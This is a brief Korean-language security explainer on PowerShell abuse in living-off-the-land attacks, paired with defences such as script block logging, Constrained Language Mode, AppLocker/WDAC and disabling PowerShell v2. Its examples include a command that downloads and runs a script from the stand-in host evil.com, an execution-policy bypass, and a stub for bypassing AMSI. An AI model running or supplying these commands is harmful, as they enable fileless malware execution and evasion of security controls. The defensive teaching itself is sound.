윈도우 PowerShell 악용 사례와 방어

PowerShell은 Living off the Land (LOL) 공격에서 가장 많이 악용되는 도구입니다.

악용 사례:

# 파일리스 악성코드 다운로드 및 실행
powershell -enc [base64 encoded command]
IEX (New-Object Net.WebClient).DownloadString("http://evil.com/payload.ps1")

# 실행 정책 우회
powershell -ExecutionPolicy Bypass -File evil.ps1

# AMSI 우회 시도
[Ref].Assembly.GetType(...)  # AMSI bypass techniques

방어:

1. PowerShell 로깅 활성화
   • Script Block Logging (Event ID 4104)
   • Module Logging
   • Transcription
2. Constrained Language Mode — .NET 접근 제한
3. AppLocker/WDAC — 승인된 스크립트만 실행
4. PowerShell v2 비활성화 — 로깅을 우회하는 데 악용